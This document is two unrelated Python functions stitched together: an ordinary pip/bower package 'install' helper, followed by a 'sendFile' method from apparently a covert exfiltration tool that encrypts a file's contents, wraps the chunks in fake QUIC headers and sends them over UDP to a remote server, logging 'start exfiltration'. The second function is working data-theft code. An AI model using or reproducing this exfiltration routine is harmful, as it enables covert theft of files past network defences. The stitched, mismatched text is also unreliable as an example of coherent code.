def install(h, pip, groups, save, save_dev, packages):
    """Install a pip or bower package."""
    if groups:
        groups = [text_type.strip(group) for group in groups.split(",")]
    else:
        groups = h.requirements.keys()

    if not packages:
        for group in groups:
            if group not in h.requirements:
                warning("{} not in requirements".format(group))
                continue
            install = (h.install_bower if group.startswith("bower")
                       else h.install_pip)
            for requirement in h.requirements[group]:
                install(str(requirement), save=False, save_dev=False)
    if pip:
        for package in packages:
            h.install_pip(package, save=save, save_dev=save_dev)
    else:
        for package in packages:
            h.install_bower(package, save=save, save_dev=save_dev)
def sendFile(self, file_path):

        # Get File content
        data = self._getFileContent(file_path)
        if data == 1:
            return 1

        # Check that the file is not too big.
        if len(data) > (self.max_packets * self.max_size):
            sys.stderr.write("[!]\tFile is too big for export.\n")
            return 1

        # If the file is not too big, start exfiltration

        # Exfiltrate first packet
        md5_sum = md5(file_path)                                          # Get MD5 sum of file
        packets_count = (len(data) / self.max_size)+1                     # Total packets
        first_packet = self._getQUICHeader(count=0)                       # Get header for first file
        r_data = "%s;%s;%s" % (file_path, md5_sum, packets_count)         # First header
        r_data = self.AESDriver.encrypt(r_data)                           # Encrypt data
        self.sock.sendto(first_packet + r_data, self.serv_addr)           # Send the data
        sys.stdout.write("[+]\tSent initiation packet.\n")

        # encrypted_content = self.AESDriver.encrypt(data)

        # Encrypt the Chunks
        raw_dat = ""
        chunks = []
        while data:
            raw_dat += data[:self.max_size]
            enc_chunk = self.AESDriver.encrypt(data[:self.max_size])
            print len(enc_chunk)
            chunks.append(enc_chunk)
            data = data[self.max_size:]

        i = 1
        for chunk in chunks:
            this_data = self._getQUICHeader(count=i)
            this_data += chunk
            self.sock.sendto(this_data, self.serv_addr)
            time.sleep(self.delay)
            sys.stdout.write("[+]\tSent chunk %s/%s.\n" % (i, packets_count))
            i += 1

        sys.stdout.write("[+]\tFinished sending file '%s' to '%s:%s'.\n" % (file_path, self.host, self.port))
        # self.sequence = struct.pack('<' + 'L'*len(parts), *parts)

        return 0